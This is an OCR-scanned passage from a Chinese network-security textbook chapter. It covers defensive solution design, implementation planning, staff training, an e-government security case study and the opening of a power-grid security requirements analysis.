息 资 源 , 并 进一步 加 强国 内 外 交流 与 合作 ,还 可 以 进一步 加 强 同 上 级 主管 部 门 及 地 方 政 
府 之 间 的 相互 联系 。 基 于 网 络 的 这 些 特点 ,主要 从 网 络 层 次 方面 进行 考虑 ,将 网 络 系统 
设计 成 一 个 支持 各 级 别 用 户 或 用 户 群 的 安全 网 络 ,在 保证 系统 内 部 网 络 安全 的 同时 ,还 
可 实现 与 Internet 或 国内 其 他 网 络 的 安全 互联 。 实 现 网 络 系统 安全 的 措施 可 以 主要 考 
虑 以 下 几 个 方面 。 

Q@ 网 络 系统 内 各 局 域 网 边界 的 安全 ,可 利用 防火 墙 技术 的 访问 控制 功能 来 实现 。 若 
使 用 支持 多 网 段 划分 的 防火 墙 ,可 同时 实现 局 域 网 内 部 各 网 段 的 隔离 与 相互 的 访问 
控制 。 

@ 网 络 与 其 他 网 络 如 Internet 互联 的 安全 ,可 利用 防火 墙 实现 二 者 的 隔离 与 访问 控 
制 。 同 时 ,建议 网 络 系统 的 重要 主机 或 服务 器 的 地 址 使 用 Internet 保留 地 址 ,并 有 统一 
的 地 址 和 域名 分 配 办 法 ,不仅 可 以 解决 合法 IP 不 足 的 问题 ,而 且 还 可 利用 Internet 无 法 
对 保留 地 址 进行 路 由 的 特点 ,避免 与 Internet 直接 互联 。 

@ 网 络 系统 内 部 各 局 域 网 之 间 信 息 传输 的 安全 。 主 要 侧重 考虑 省 级 电力 系统 网 络 
与 各 地 市 级 部 门 的 局 域 网 的 通信 安全 ,主要 可 以 通过 利用 防火 墙 的 VPN 功能 或 VPN 专 
用 设备 等 措施 ,重点 实现 信息 的 机 密 性 与 完整 性 安全 。 

(3) 网 络 用 户 的 接 人 安全 问题 。 可 以 主要 利用 防火 墙 技术 及 一 次 性 口令 认证 机 制 ， 
实现 对 网 络 接 入 用 户 的 强身 份 鉴别 和 认证 过 程 。 

(4) 网 络 监 控 与 人 侵 防 范 。 入 侵 检测 是 实时 网 络 违规 自动 检测 识别 和 响应 系统 ,将 
网 络 人 侵 检 测 系统 与 防火 墙 有 机 结合 ,可 以 形成 主动 性 的 防护 体系 ,充分 利用 网 络 安全 
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智能 防御 系统 效果 会 更 好 。 

(5) 网 络 安全 检测 。 主 要 目的 是 增强 网 络 安全 性 ,具体 包括 对 网 络 设备 、 防 火 墙 . 服 
务 器 .主机 及 服务 器 、 操 作 系统 等 方面 的 实际 安全 检测 。 使 用 网 络 安全 检测 工具 ,一 般 采 
用 对 实际 运行 的 网 络 系统 进行 实时 性 监测 的 方法 ,对 网 络 系统 进行 扫描 检测 与 分 析 , 及 
时 检查 并 报告 系统 存在 的 弱点 ,漏洞 和 隐患 ,并 采取 相应 的 具体 安全 措施 和 安全 策略 。 

4) 数据 安全 解决 方案 

数据 安全 解决 方案 主要 是 指 用 户 对 数据 访问 的 身份 鉴别 数据 传输 的 安全 、 数 据 存 
储 的 安全 ,以 及 对 网 络 传 输 数 据 内 容 的 审计 等 几 方面 。 数 据 安全 主要 包括 数据 传输 安全 
(动态 安全 ) ,数据 加 密 、 数 据 完整 性 鉴别 、 防 抵赖 (可 审查 性 ) 数据 存储 安全 (静态 安全 )、 
数据 库 安 全 、 终 端 安全 ,数据 的 防 泄密 、 数 据 内 容 审 计 、 用 户 鉴 别 与 授权 、 数 据 备份 与 恢 
复 等 。 

(1) 数据 传输 安全 。 对 于 在 网 络 系统 内 数据 传输 过 程 中 的 安全 ,根据 机 构 具 体 实际 
需求 与 安全 强度 的 不 同 ,可 以 设计 多 种 解决 方案 。 如 链 路 层 加 密 方案 、IP 层 加 密 方案 、 应 
用 层 加 密 解 决 方案 等 。 

(2) 数据 存储 安全 。 在 网 络 系统 中 存储 的 数据 主要 包括 两 大 类 : 企 事业 用 户 进行 业 
务实 际 应 用 的 业务 数据 和 系统 运行 中 的 各 种 功能 数据 。 对 纯粹 数据 的 安全 保护 ,以 数据 
库 的 数据 保护 为 重点 。 对 各 种 功能 文件 的 保护 中 ,终端 安全 最 重要 。 为 了 确保 这 些 数据 
的 安全 ,在 网 络 系统 安全 的 设计 中 应 包括 以 下 8 项 内 容 : 
进行 数据 访问 控制 的 具体 策略 和 措施 。 

网 络 用 户 的 身份 鉴别 与 权限 控制 方法 。 

数据 机 密 性 保护 措施 ,如 数据 加 密 、 密 文 存 储 与 密 钥 管理 等 。 
数据 完整 性 保护 的 具体 策略 和 措施 。 

防止 非法 软盘 复制 和 硬盘 启动 的 实际 举措 。 

防范 计算 机 病毒 和 恶意 软件 的 具体 措施 和 办 法 。 

备份 数据 的 安全 保护 的 具体 策略 和 措施 。 

进行 数据 备份 和 恢复 的 相关 工具 等 。 

(3) 网 络 安全 审计 。 是 一 个 安全 的 系统 网 络 必 备 的 功能 特性 ,是 提高 网 络 安全 性 的 
重要 工具 ,通过 安全 审计 可 以 记录 各 种 网 络 用 户 使 用 计算 机 网 络 系统 进行 的 所 有 活动 及 
过 程 。 通 过 安全 审计 不 仅 可 以 识别 访问 者 的 有 关 情 况 , 并 能 够 记录 事件 .操作 和 进行 过 
程 跟踪 。 

全 注意 : 企 事业 机 构 的 网 络 系统 聚集 了 大 量 的 重要 机 密 数 据 和 用 户 信息 。 一 旦 这 些 
重要 数据 被 泄露 ,将 会 产生 严重 的 后 果 和 不 良 影响 。 此 外 ,由 于 网 络 系统 与 Internet 相 
连 ,不 可 避免 地 会 流入 一 些 杂 乱 的 不 良 数 据 。 为 防止 与 追查 网 上 机 密 数 据 的 泄露 行为 ， 
并 防止 各 种 不 良 数据 的 流入 ,可 在 网 络 系统 与 Internet 的 连接 处 对 进出 网 络 的 数据 流 实 
施 内 容 审计 与 记载 。 
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D43 网 络 安全 实施 方案 与 技术 支持 


1. 网 络 安全 实施 方案 


网 络 安全 工程 的 实施 方案 主要 包括 项 目 管理 和 项 目 质量 保证 。 

1) 项 目 管理 

在 实际 工作 中 ,项 目 管理 主要 包括 项 目 流程 项 目 管理 制度 和 项 目 进度 。 

(1) 项 目 流 程 。 通 过 较为 详细 的 项 目 具体 实施 流程 来 保证 项 目的 顺利 实施 。 

(2) 项 目 管理 制度 。 项 目 管理 主要 包括 对 项 目 人 员 的 管理 .产品 的 管理 和 技术 的 管 
理 , 实 施 方案 需要 写 出 项 目的 管理 制度 ,主要 是 保证 项 目的 质量 。 

(3) 项 目 进度 。 主 要 以 项 目 实施 的 进度 表 作 为 项 目 实施 的 时 间 标 准 ,应 全 面 考虑 完 
成 项 目 所 需要 的 物质 条 件 ,制定 出 一 个 比较 合理 的 时 间 进 度 安排 表 。 

2) 项 目 质量 保证 

项 目 质量 保证 包括 执行 人 员 的 质量 职责 项目 质量 的 保证 措施 和 项 目 验收 等 。 

(1) 执行 人 员 对 质量 的 职责 。 需 要 规定 项 目 实施 过 程 中 相关 人 员 的 职责 ,如 项 目 经 
理 、 技 术 负责 人 、 技 术 工 程 师 等 ,以 保证 相关 人 员 各 司 其 职 . 各 负 其 责 , 使 整个 安全 项 目 顺 
利 实施 。 

(2) 项 目 质量 的 保证 措施 。 应 当 严 格 制定 出 保证 项 目 质量 的 具体 措施 ,主要 的 内 容 
涉及 参与 项 目的 相关 人 员 ,项 目 中 所 涉及 的 安全 产品 和 技术 、 机 构 派 出 支持 该 项 目的 相 
关 人 员 的 管理 等 。 

(3) 项 目 验 收 。 根 据 项 目的 具体 完成 情况 ,与 用 户 确 定 项 目 验 收 的 详细 事项 ,包括 安 
全 产品 .技术 、 项 目 完成 情况 .达到 的 安全 目的 、 验 收 标准 和 办 法 等 。 


2. 主要 技术 支持 


在 技术 支持 方面 ,主要 包括 技术 支持 的 内 容 和 技术 支持 的 方式 。 
1) 技术 支持 的 内 容 

网 络 安全 项 目 中 所 包括 的 产品 和 技术 的 服务 主要 包括 以 下 内 容 : 
(1) 在 安装 调试 网 络 安全 项 目 中 所 涉及 的 全 部 安全 产品 和 技术 。 
(2) 采用 的 安全 产品 及 技术 的 所 有 文档 。 

(3) 提供 安全 产品 和 技术 的 最 新 信息 。 

(4) 服务 期 内 免费 产品 升级 情况 。 

2) 技术 支持 方式 

网 络 安全 项 目 完 成 以 后 ,提供 的 技术 支持 服务 包括 以 下 内 容 : 
(1) 提供 客户 现场 24 小 时 技术 支持 服务 事项 及 承诺 情况 。 

(2) 提供 客户 技术 支持 中 心 热线 电话 。 

(3) 提供 客户 技术 支持 中 心 E-mail 服务 。 

(4) 提供 客户 技术 支持 中 心 具体 的 Web 服务 。 
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3. 项 目 安全 产品 


1) 网 络 安全 产品 报价 

给 出 网 络 安全 项 目 涉 及 的 所 有 安全 产品 和 服务 的 各 种 具体 翔实 报价 ,最 好 列 出 各 种 
报价 清单 。 

2) 网 络 安全 产品 介绍 

给 出 网 络 安全 项 目 中 涉及 的 所 有 安全 产品 介绍 ,主要 是 使 用 户 清楚 所 选择 的 具体 安 
全 产品 的 种 类 、 功 能、 性 能 和 特点 等 ,要 求 描述 清楚 准确 ,但 不 必 太 详细 周全 。 


4. 电子 政务 安全 建设 实施 方案 


【案例 12-6] 电子 政务 安全 建设 项 目 实施 方案 案例 。 某 城市 政府 机 构 准 备 构 建 并 
实施 一 个 “电子 政务 安全 建设 项 目 ”。 通 常 ,对 于 “电子 政务 安全 建设 项 目 ” 需 要 制定 并 实 
施 网 络 安 全 解决 方案 和 网 络 安 全 实施 方案 ,后 者 是 在 网 络 安 全 解决 方案 的 基础 上 提出 的 
实施 策略 和 计划 方案 等 。 下 面 通过 案例 对 方案 的 主要 内 容 和 制定 过 程 进 行 概 要 介绍 。 

1) 电子 政务 建设 要 求 

我 国电 子 政务 建设 的 首要 任务 是 : 以 信息 化 带动 现代 化 ,加 快 国民 经 济 结构 的 战略 
性 调整 ,实现 社会 生产 力 的 跨越 式 发 展 。 国 家 信息 化 领导 小 组 决定 ,将 大 力 推 进 电子 政 
务 建设 作为 我 国 未 来 一 个 时 期 信息 化 工作 的 一 项 重要 任务 。 

目前 ,世界 各 国 的 信息 技术 产品 市 场 的 竞争 异常 激烈 ,都 在 争夺 信息 技术 的 制高点 。 
我 国 领 导 人 针对 信息 化 建设 和 电子 政务 建设 指出 : 改革 开放 以 来 ,我 国信 息 化 建设 取得 
了 很 大 成 绩 ,信息 产业 发 展 成 为 重要 的 支柱 产业 。 从 我 国 现代 化 建设 的 全 局 来 看 ,要 进 

一 步 认识 信息 化 对 经 济 和 社会 发 展 的 重要 作用 。 建 设 电子 政务 系统 ,构筑 政府 网 络 平 
f; ,形成 连接 中 央 到 地 方 的 政府 业务 信息 系统 ,实现 政府 网 上 信息 交换 、 信 息 发 布 和 信息 
服务 ,是 我 国信 息 化 建设 重点 发 展 十 大 领域 之 一 。 

根据 《我国 电子 政务 建设 指导 意见 》, 为 了 达到 加 强 政府 监管 、 提 高 政府 效率 、 推 进 政 
府 高 效 服务 的 目的 ,提出 当前 要 以 “两 网 一 站 四 库 十 二 系统 ”为 目标 的 电子 政务 建设 要 
求 ,如 图 12-4 所 示 。 


一 站 


政府 门户 网 站 


人 口 信息 数据 库 


办 公 业 务 资源 系统 、 宏 观 经 济 管理 系统 


i < 8. ex- 20 mW. + 
自然 资源 和 空间 地 理 信息 数据 库 W 
宏观 经 济 信息 数据 库 、 金 保 、 金 农 、 金 水 、 金 质 


两 网 
图 12-4 两 网 一 站 四 库 十 二 系统 建设 要 求 
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“两 网 ? 指 政务 内 网 和 政务 外 网 两 个 基础 平台 。“ 一 站 ? 指 政府 门户 网 站 .“ 四 库 ” 指 
人 口 信息 数 据 库 、 法 人 单位 信息 数据 库 、 自 然 资源 和 空间 地 理 信息 数据 库 以 及 宏观 经 济 
信息 数据 库 。“ 十 二 系统 ”大 致 可 分 为 3 个 层次 : 一 是 办 公 业 务 资源 系统 和 宏观 经 济 管理 
系统 ,将 在 决策 .稳定 经 济 环境 方面 起 主要 作用 ;二 是 金 税 、 金 关 、 金 财 、 金 融 监管 (银行 、 
证 监 和 保 监 ) 和 人 金 审 5 个 系统 ,主要 服务 于 政府 收 支 的 监管 ;三 是 金盾 、 金 保 ( 社 会 保障 )、 
金 农 、 金 水 (水 利 ) 和 金 质 (市 场 监管 )5 个 系统 ,重点 保障 社会 稳定 和 国民 经 济 发 展 的 
持续 。 

多 级 电子 政务 网 络 系统 建设 的 内 外 网 络 安全 体系 如 图 12-5 所 示 。 


政务 外 网 


地 市 级 外 网 平台 


省 级 外 网 平台 


区 县 级 外 网 平 


物理 隔离 逻辑 隔离 
12-5 ”电子 政务 内 外 网 络 安全 体系 


我 国政 府 机 构 聚 集 着 80% 的 有 价值 的 社会 信息 资源 和 众多 的 数据 库 资源 ,需要 采取 
有 效 措施 让 这 些 有 价值 信息 与 社会 共享 ,使 信息 资源 得 到 充分 利用 并 产生 增值 。 省 级 有 
关 部 门 对 于 启动 省 内 机 构 , 通 过 网 络 技术 开发 利用 信息 资源 作 了 一 定 的 工作 ,但 在 全 国 
范围 内 还 没有 很 好 地 对 政府 信息 资源 进行 有 效 利用 与 开发 ,缺乏 行 之 有 效 的 组 织 和 办 
法 。 企 事业 机 构 和 个 人 用 户 经 常 无 法 通过 正规 渠道 获取 有 关 信 息 资源 ,甚至 由 于 消息 不 
灵通 造成 经 济 上 的 损失 或 浪费 ,影响 了 建设 与 发 展 。 

由 于 政府 信息 化 是 社会 信息 化 的 重要 组 成 部 分 ,可 以 为 社会 信息 化 建设 奠定 重要 基 
础 。 构 建 电 子 政务 的 主要 目的 是 推进 政府 机 构 的 办 公 自 动 化 .网 络 化 .电子 化 ,以 及 有 效 
利用 信息 资源 与 共享 等 。 因 此 ,需要 运用 信息 资源 及 通信 技术 打破 行政 机 关 的 组 织 界 
限 ,构建 电子 化 虚拟 机 关 , 实 现 更 为 广泛 意义 的 政府 机 关 间 及 政府 与 社会 各 界 之 间 经 由 
各 种 电子 化 渠道 进行 的 相互 交流 沟通 ,并 依据 人 们 的 需求 .使 用 形式 .时 间 及 地 点 ,提供 
各 种 不 同 的 具有 个 性 特点 的 服务 。 电 子 政务 可 以 加 快 政府 职能 的 转变 ,扩大 对 外 交往 的 
渠道 ,密切 政府 与 人 民 群 众 的 联系 ,提高 政府 工作 效率 ,促进 经 济 和 信息 化 建设 与 发 展 。 

2) 政府 网 站 所 面临 的 威胁 

随 着 信息 技术 的 快速 发 展 和 广泛 应 用 ,各 种 网 络 安全 问题 也 相继 出 现 。 网 络 系统 漏 
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洞 ` 安 全 隐患 .黑客 、 网 络 犯罪 .计算 机 病毒 等 安全 问题 严重 制约 了 电子 政务 信息 化 建设 
与 发 展 ,成 为 系统 建设 重点 考虑 的 问题 。 目 前 ,我 国 网 络 信息 安全 面临 许多 严峻 的 问题 ， 
在 信息 产业 和 经 济 金 融 领 域 ,网 络 系统 硬件 面临 遏制 和 封锁 的 威胁 ;网 络 系统 软件 面临 
市 场 垄 断 和 价格 歧视 的 威胁 ;国外 一 些 网 络 系统 硬件 、 软 件 中 隐藏 着 “特洛伊 木马 ”或 安 
全 隐患 与 风险 ;网 络 信息 与 系统 安全 的 防护 能 力 较 差 ,许多 应 用 系统 甚至 处 于 不 设防 状 
态 , 具 有 极 大 的 风险 性 和 和 危险 性 ,特别 是 "一 站 式 ” 门 户 开放 网 站 的 开通 ,虽然 极 大 地 方便 
了 公众 的 办 事 效 率 , 拉 近 了 与 社会 公众 的 距离 ,但 也 使 政府 网 站 面临 的 安全 风险 增 大 。 

由 于 电子 政务 以 政府 网 站 形式 通过 Internet 面向 社会 开放 ,各 种 不 法 分 子 出 于 不 同 
目的 对 网 站 进行 攻击 或 算 改 网 页 的 事件 相继 出 现 。 政 府 网 站 是 政府 公开 在 网 上 的 形象 ， 
所 发 布 的 一 些 重要 新 闻 、 重 大 方针 政策 、 法 规 具有 权威 性 ,如 果 一 旦 被 黑客 算 改 ,不 仅 直 
接 影响 政府 形象 ,而 且 可 能 造成 重大 的 政治 影响 或 经 济 损失 ,也 关系 到 社会 的 稳定 和 地 
区 安全 。 中 国政 府 信息 化 建设 的 进程 与 规模 等 方面 在 很 大 程度 上 取决 于 安全 因素 。 目 
前 ,广域网 中 采用 的 传输 协议 也 存在 着 许多 安全 问题 ,使 得 基于 广域网 技术 的 电子 政务 
平台 面临 着 严峻 的 威胁 和 隐患 。 电 子 政务 是 各 级 组 织 ,政府 人大、 政协 .公检法 等 机 构 
有 效 决 策 ,管理 ,服务 的 重要 途径 和 手段 ,将 会 成 为 各 种 不 法 分 子 进行 干扰 破坏 、 攻 击 和 
捣乱 的 目标 ,所 以 ,网 络 信息 安全 已 成 为 制约 电子 政务 平台 建设 和 发 展 的 第 一 要 素 。 

在 电子 政务 建设 中 ,网 络 安全 问题 的 产生 主要 体现 为 7 种 形式 : 网 上 黑客 人 侵 干 扰 
和 破坏 .网 上 病毒 泛滥 和 蔓延 .信息 间谍 的 潜入 和 窃 密 、 网 络 恺 怖 集团 的 攻击 和 破坏 、 内 
部 人 员 的 违规 和 违法 操作 、 网 络 系 统 的 脆弱 和 瘫痪 ,信息 产品 的 失控 等 。 

3) 安全 解决 方案 及 建议 

网 络 安 全 从 技术 角度 主要 包括 操作 系统 安全 、 应 用 系统 安全 、 病 毒 防范 、 防 火 墙 技 
术 . 入 侵 检测 .网络 监 控 、 信 息 审计 ,通信 加 密 等 。 然 而 ,任何 一 项 单独 的 组 件 或 单项 技术 
根本 无 法 确保 网 络 系统 的 安全 性 ,网络 安全 是 动态 的 ,整体 的 系统 工程 ,因此 ,一 个 优秀 
的 网 络 安全 解决 方案 ,应 当 是 全 方位 的 立体 的 整体 解决 方案 ,同时 还 需要 兼顾 网 络 安全 
管理 等 其 他 因素 。 

对 于 政府 机 构 ,构建 一 个 安全 的 电子 政务 网 络 环境 非常 重要 ,与 12. 4. 2 节 类 似 ,可 
以 从 网 络 安全 问题 ,系统 安全 问题 .访问 安全 问题 .应 用 安全 问题 .内 容 安全 问题 .管理 安 
全 问题 6 个 方面 综合 考虑 , 提出 具体 的 网 络 安全 解决 方案 和 建议 ,并 突出 重点 ,统筹 
兼顾 。 


1244 项 目 检测 报告 与 技术 培训 


1. 安全 项 目 检测 报告 


网 络 安全 工程 项 目 完成 后 ,需要 进行 项 目 检测 并 形成 报告 。 通 常 是 由 一 个 具有 较 高 
的 安全 检测 评价 资格 的 中 立 的 第 三 方 检测 机 构 进行 检测 ,按照 安全 需求 项 目 指标 要 求 、 
项 目 检测 标准 与 方法 和 准则 及 检测 程序 ,对 网 络 安全 解决 方案 项 目 实施 完成 的 工程 进行 
安全 扫描 与 检测 ,最 后 提供 相关 的 检测 报告 ,以 便 为 网 络 安全 工程 项 目的 检测 评价 、 检 查 
验收 和 有 针对 性 地 实施 安全 管理 等 提供 重要 依据 。 
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2. 网 络 安全 技术 培训 


1) 管理 人 员 的 安全 培训 

为 了 更 好 地 发 挥 网 络 安全 方案 项 目的 重要 作用 ,进一步 加 强 网 络 安全 管理 。 需 要 对 
企 事 业 机 构 用 户 非 技术 方面 的 管理 人 员 进 行 培训 ,主要 培训 内 容 是 介绍 网 络 安全 的 重要 
性 和 安全 技术 及 管理 的 意义 ,重点 是 提高 对 系统 安全 性 的 重视 ,加 强 管理 效能 。 管 理 人 
员 安 全 培训 内 容 主 要 包括 4 个 方面 : 

(1) 网 络 系统 安全 在 企业 信息 系统 中 的 重要 作用 和 必要 性 。 

(2) 网 络 安全 技术 对 保障 系统 安全 的 重要 性 及 实际 意义 。 

(3) 网 络 安全 管理 对 系统 安全 的 重要 性 和 必要 性 。 

(4) 网 络 安全 集成 和 网 络 系统 集成 的 区 别 。 

2) 网 络 安全 技术 基础 培训 

对 网 络 系统 管理 员 .安全 管理 相关 人 员 的 技术 培训 ,主要 目的 是 增强 其 安全 意识 ,了 
解 基本 的 安全 技术 ,可 以 分 辨 网 络 、 系 统 和 应 用 中 可 能 存在 的 安全 问题 ,并 且 能 够 采用 相 
应 的 安全 技术 、 产 品 或 服务 进行 具体 防范 。 网 络 安全 技术 基础 培训 的 内 容 包 括 7 个 
方面 。 

(1) 系统 安全 、 网 络 安 全 和 应 用 安全 的 基本 知识 概述 。 

(2) 系统 安全 的 风险 .威胁 和 漏洞 及 因由 的 详细 分 析 。 

(3) 网 络 安全 的 风险 .威胁 和 漏洞 及 因由 的 详细 分 析 。 

(4) 应 用 安全 的 风险 .威胁 和 漏洞 及 因由 的 详细 分 析 。 

(5) 网 络 安全 有 效 防范 措施 的 主要 技术 和 管理 方法 。 

(6) 网 络 安全 产品 主要 功能 的 简单 分 类 及 特点 。 

(7) 黑客 进攻 技术 .原理 和 步骤 与 防范 方法 。 

3) 网 络 安全 攻防 技术 培训 

对 网 络 系统 管理 员 进 行 黑客 攻防 的 手段 .原理 和 方法 等 方面 的 专门 培训 ,主要 目的 
是 使 之 能 够 重点 掌握 黑客 攻击 的 防范 技术 ,并 能 运用 到 实际 的 安全 工作 中 ,以 有 效 地 保 
护 网 络 ,系统 和 应 用 的 安全 。 培 训 的 主要 内 容 包括 7 个 方面 : 黑客 技术 的 概念 ,常用 的 攻 
击 技术 ,攻击 手段 演示 、 安 全 攻击 实验 .常用 的 防范 技术 .防范 手 段 演示 和 安全 防范 实验 。 

4) 网 络 系统 安全 管理 培训 

对 网 络 管理 员 和 系统 管理 员 的 系统 安全 技术 专门 培训 ,主要 目的 是 使 网 络 或 系统 管 
理 员 能 够 独立 配置 与 管理 系统 的 安全 ,独立 维护 操作 系统 的 安全 。 主 要 培训 操作 系统 的 
安全 风险 ,安全 威胁 和 安全 漏洞 等 。 培 训 内 容 包 括 5 个 方面 : 操作 系统 的 安全 基础 .操作 
系统 的 安全 配置 与 应 用 、 操 作 系统 网 络 安全 的 配置 与 应 用 、 操 作 系统 的 安全 风险 和 威胁 、 
操作 系统 上 流行 的 安全 工具 的 使 用 。 

5) 网 络 安全 产品 的 培训 

主要 针对 网 络 安全 项 目 中 所 采用 的 各 种 安全 产品 ,向 相关 人 员 提 供 具 体 的 培训 , 目 
的 是 使 之 掌握 所 用 安全 产品 的 类 型 功能、 特点 原理、 使 用 和 维护 方法 等 。 主 要 培训 的 
内 容 一 般 包 括 4 个 方面 ,也 可 以 根据 实际 具体 情况 进行 调整 和 优化 。 
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(1) 网 络 安全 产品 的 功能 分 类 ,如 防火 墙 、 防 病毒 .人 侵 检测 等 。 

(2) 网 络 安全 产品 的 基本 概念 和 原理 ,如 防火 墙 技术 、 防 病毒 技术 .和 人 侵 检 测 技术 等 。 
(3) 网 络 各 种 安全 产品 在 安全 项 目 中 的 作用 、 重 要 性 和 局 限 性 。 

(4) 网 络 安全 产品 的 使 用 、 维 护 和 安全 。 

后 讨论 思考 

(1) 金融 行业 网 络 系统 安全 需求 分 析 了 哪些 方面 的 内 容 ? 

(2) 具体 的 网 络 安全 解决 方案 包括 哪些 方面 ? 

(3) 网 络 安全 实施 方案 和 技术 支持 体现 在 哪些 方面 ? 


“125 电力 网 络 安全 解决 方案 


【案例 12-7】 电力 网 络 业务 数据 安全 解决 方案 。 由 于 省 (自治 区 、 直 辖 市 ) 级 电力 行 
业 网 络 信息 系统 相对 比较 特殊 ,涉及 的 各 种 类 型 的 业务 数据 广泛 且 很 庞杂 ,而 且 ,内 网 与 
外 网 在 体系 结构 等 方面 差别 很 大 ,在 此 仅 概述 省 级 电力 网 络 业 务 数据 安全 解决 方案 。 


1251 电力 网 络 安全 现状 概述 


1. 网 络 安全 问题 对 电力 系统 的 影响 


随 着 信息 化 的 日 益 深 入 和 信息 网 络 技术 的 应 用 日 益 普 及 ,网 络 安全 问题 已 经 成 为 影 
响 网 络 效能 的 重要 问题 。 而 Internet 所 具有 的 开放 性 、 全 球 性 和 自由 性 在 增加 应 用 自由 
度 的 同时 ,对 安全 提出 了 更 高 要 求 。 

电力 系统 信息 安全 问题 已 威胁 到 电力 系统 的 安全 稳定、 经 济 、 优 质 运 行 ,影响 着 数 
字 电力 系统 的 实现 进程 。 研 究 电力 系统 信息 安全 问题 .开发 相应 的 应 用 系统 、 制 定 电力 
系统 信息 遭受 外 部 攻击 时 的 防范 与 系统 恢复 措施 等 信息 安全 战略 是 当前 信息 化 工作 的 
重要 内 容 。 电 力 系统 信息 安全 已 经 成 为 电力 企业 运营 、 经 营 和 管理 的 重要 组 成 部 分 。 

如 何 使 电力 信息 网 络 系统 不 受 黑客 和 病毒 的 入 侵 , 如 何 保障 数据 传输 的 安全 性 、 可 
靠 性 ,也 是 建设 数字 电力 系统 过 程 中 所 必须 考虑 的 重要 事情 之 一 。 


2. 省 级 电力 系统 网 络 应 用 和 现状 


省 级 电力 网 络 系统 一 般 是 一 个 覆盖 全 省 的 大 型 广域网 络 ,其 基本 功能 包括 FTP. 
Telnet、Mail 及 WWW .News.BBS 等 客户 机 /服务 器 方式 的 服务 。 省 级 电力 公司 信息 网 
络 系统 是 业务 数据 交换 和 处 理 的 信息 平台 ,在 网 络 中 包含 各 种 各 样 的 设备 : 服务 器 系统 、 
路 由 器 .交换 机 、 工 作 站 终端 等 ,并 通过 专线 与 Internet 相 联 。 各 地 市 电力 公司 /电厂 的 
网 络 基本 采用 TCP/IP 以 太 网 星 形 拓扑 结构 ,而 它们 的 外 联 出 口 通常 为 上 一 级 电力 公司 
网 络 。 

随 着 业务 的 发 展 ,省 级 电力 网 络 系统 原 有 的 基于 内 部 网 络 的 相对 安全 将 被 打破 ,无 
法 满足 业务 发 展 的 安全 需求 ,急需 重新 制定 安全 策略 ,建立 完整 的 安全 保障 体系 。 

现 阶段 省 级 电力 信息 网 络 系统 存在 安全 隐患 。 所 以 从 系统 层次 、 网 络 层次 .管理 
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层次 、 应 用 层次 4 个 角度 结合 省 级 电力 网 络 应 用 系统 的 实际 情况 提出 以 下 安全 风险 
分 析 。 


52 电力 网 络 安全 需求 分 析 


1. 网 络 系统 边界 风险 分 析 


网 络 系统 的 边界 是 指 两 个 不 同安 全 级 别 的 网 络 的 连接 处 ,包括 同 Internet 的 连接 
处 ,以 及 内 部 网 不 同安 全 级 别 的 子 网 之 间 的 连接 处 。 

省 级 电力 信息 系统 网 络 边界 主要 存在 于 Internet 接 入 等 外 部 网 络 的 连接 处 ,同时 在 
内 部 网 络 中 省 级 与 地 市 网 络 之 间 也 存在 不 同安 全 级 别 子 网 的 安全 边界 。 

开放 的 网 络 系统 容易 受到 来 自 外 网 的 各 种 攻击 和 威胁 。 入 侵 者 可 以 利用 各 种 工具 
扫描 网 络 及 系统 中 存在 的 安全 漏洞 ,并 通过 一 些 攻击 程序 对 网 络 进行 恶意 攻击 ,这 样 的 
危害 可 以 造成 网 络 瘫痪 、 系 统 拒 绝 服 务 、 信 息 被 窃取 和 自 改 等 。 

省 级 电力 信息 系统 局 域 网 边界 处 利用 防火 墙 系统 进行 防护 ,可 以 降低 网 络 安全 风 
险 。 但 是 ,仅仅 使 用 防火 墙 、 网 络 安全 还 远 远 不 够 ,防火 墙 属 于 传统 的 静态 安全 防护 技 
术 , 它 在 功能 和 作用 范围 方面 存在 不 足 , 例 如 ,无 法 防范 内 部 用 户 攻 击 。 而 入 侵 检 测 技术 
是 当今 一 种 非常 重要 的 动态 安全 技术 ,可 以 很 好 地 弥补 防火 墙 安 全 防护 的 不 足 。 


2. 系统 层 安全 分 析 


系统 层 的 安全 分 析 主 要 包括 以 下 内 容 : 

(1) 主机 系统 风险 分 析 。 省 级 电力 网 络 中 存在 大 量 不 同 操作 系统 的 主机 ,如 UNIX、 
Windows Server 2012 等 。 这 些 操 作 系 统 自身 也 存在 许多 安全 漏洞 。 

(2) 系统 传输 的 安全 风险 ,包括 网 络 系统 传输 协议 、. 过程、 媒介 、 管 控 , 以 及 数据 传输 
风险 等 。 

(3) 病毒 人 侵 风 险 分 析 。 病 毒 具 有 非常 强 的 破坏 力 和 传播 能 力 。 越 是 在 网 络 应 用 水 
平 高 ,共享 资源 访问 频繁 的 环境 中 ,计算 机 病毒 的 草 延 速度 就 会 越 快 。 


3. 应 用 层 安全 分 析 


网 络 系统 的 应 用 层 安 全 主要 涉及 业务 安全 风险 ,是 指 用 户 在 网 络 上 的 应 用 系统 的 安 
全 ,包括 Web FTP .邮件 系统 .DNS 等 网 络 基本 服务 系统 .业务 系统 等 。 各 应 用 包括 对 外 
部 和 内 部 的 信息 共享 以 及 各 种 跨 局 域 网 的 应 用 方式 ,其 安全 需求 是 在 信息 共享 的 同时 保 
证 信息 资源 的 合法 访问 及 通信 隐秘 性 。 


4. 管理 层 安全 分 析 


在 网 络 安全 中 安全 策略 和 管理 扮演 着 极其 重要 的 角色 ,如 果 没 有 制定 非常 有 效 的 安 
全 策略 ,没有 落实 严格 的 安全 管理 制度 ,那么 网 络 就 很 可 能 处 在 一 种 混乱 的 状态 。 
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5. 安全 需求 分 析 


通过 以 上 对 省 级 电力 系统 网 络 现状 与 安全 风险 的 分 析 可 知 ,各 种 风险 一 旦 发 生 将 对 
系统 造成 很 大 损失 。 必 须 防 患 于 未 然 。 在 此 提出 防范 网 络 安全 危险 的 安全 需求 。 

网 络 系统 需要 划分 安全 域 , 将 省 级 电力 系统 划分 不 同 的 安全 域 ,各 域 之 间 通 过 部 署 
防火 墙 系统 实现 相互 隔离 及 访问 控制 。 电 力 网 络 系统 的 分 区 结构 及 面临 的 安全 威胁 如 
图 12-6 所 示 。 

网 络 系统 需要 在 各 市 局 本 地 局 域 网 与 省 级 网 的 边界 处 部 署 防火 墙 , 用 于 实现 网 络 系 
统 的 访问 控制 。 而 且 , 需 要 在 市 局 本 地 局 域 网 与 省 级 网 的 边界 处 部 署 人 侵 检测 探测 器 ， 
实现 对 潜在 安全 攻击 的 实时 检测 。 同 时 需要 在 网 中 部 署 全 方位 的 网 络 防 病毒 系统 ,针对 
